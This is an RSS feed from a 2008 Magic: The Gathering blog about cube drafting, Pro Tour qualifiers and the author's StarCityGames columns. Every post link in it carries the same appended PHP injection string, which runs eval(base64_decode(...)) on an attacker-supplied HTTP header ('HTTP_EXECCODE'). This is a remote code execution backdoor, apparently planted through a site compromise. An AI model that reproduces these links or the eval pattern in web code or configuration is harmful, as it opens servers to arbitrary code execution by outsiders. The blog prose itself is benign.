http://playmagicwith.tomlapille.com I talk about cube drafting. Sat, 05 Jul 2008 22:03:44 +0000 http://backend.userland.com/rss092 en Hello everyone.  I have not updated this site for a long time.  I have been writing for StarCityGames.com since late last year.  My archives are at this link.  Due to that, I stopped writing here and have let the site go dormant.  My cube list, however, is still up to ... http://playmagicwith.tomlapille.com/2008/06/10/announcement/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I just won a PTQ for Pro Tour Hollywood, which you can read about here.  I will be running another large scale cube drafting event there, likely on Sunday. The Morningtide updates to cube have been added to the cube page.  The master lists have been updated, and the changes are ... http://playmagicwith.tomlapille.com/2008/01/31/news-updates-and-coming-attractions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Sam Stoddard and I both cannot attend the next Pro Tour in Kuala Lumpur, so as an experiment he and I did coverage of the last PTQ in Columbus for that tournament. Tournament organizer Mike Guptil elected not to publish it on his website, so you can find ... http://playmagicwith.tomlapille.com/2007/12/26/coverage-of-ptq-kuala-lumpur-columbus-ohio-12152007/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I haven't updated this in a long time. My bad; writing on a real deadline and having to produce 2000+ words on one topic every week is more draining than I thought it would be. We'll see what happens here in the near future. I don't plan ... http://playmagicwith.tomlapille.com/2007/12/19/some-quick-updates/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I'm about to leave for Worlds. I don't know what I'll be doing there exactly yet, but stop by and say hello if you want to chat and hopefully I'll see you Saturday night. Travel safe and good luck to everyone who is attending. http://playmagicwith.tomlapille.com/2007/12/05/im-off-to-worlds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Evan Erwin and I will be hosting open cube drafts beginning at six o’clock PM on Saturday evening at the Magic: The Gathering World Championships this weekend. We love cube drafting, and we also know that making a cube isn’t the easiest thing in the world so not everyone ... http://playmagicwith.tomlapille.com/2007/12/02/saturday-night-cube-drafting-at-worlds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ It's been about a month since I grew my cube from 640 to 720, and its contents are starting to settle down. I feel like I'm starting to shift from "designing" to "developing" at this size. Given that, I decided to write a design handoff document about the ... http://playmagicwith.tomlapille.com/2007/11/29/tom%e2%80%99s-cube-design-handoff-document/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Arcane Teachings: Sideboard Planning on Starcitygames.com Seasoned players tend to talk about "sideboarding plans," which is not a surprise since sideboarding well is really all about planning. Tom looks at some decks and asks you to think about how their sideboards do or do not fit with the decks’ game plans. ... http://playmagicwith.tomlapille.com/2007/11/26/arcane-teachings-2-sideboard-planning/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This is Takayuki Koike's deck from the top eight of Pro Tour Valencia. 1 Blood Crypt 4 Bloodstained Mire 1 Godless Shrine 1 Mountain 1 Overgrown Tomb 1 Sacred Foundry 1 Steam Vents 1 Stomping Ground 1 Temple Garden 4 Windswept Heath 4 Wooded Foothills 4 Dark Confidant 4 Grim ... http://playmagicwith.tomlapille.com/2007/11/26/homework-for-arcane-teachings-2-sideboard-planning/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ So I'm really busy with graduate school applications, the end of the quarter, and my new gig at Star City.  It's not likely that I'll be doing much extra strategy writing here for a few weeks.  I may be talking about cube though if the muse strikes me.  Just thought ... http://playmagicwith.tomlapille.com/2007/11/25/i-am-facing-reality/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/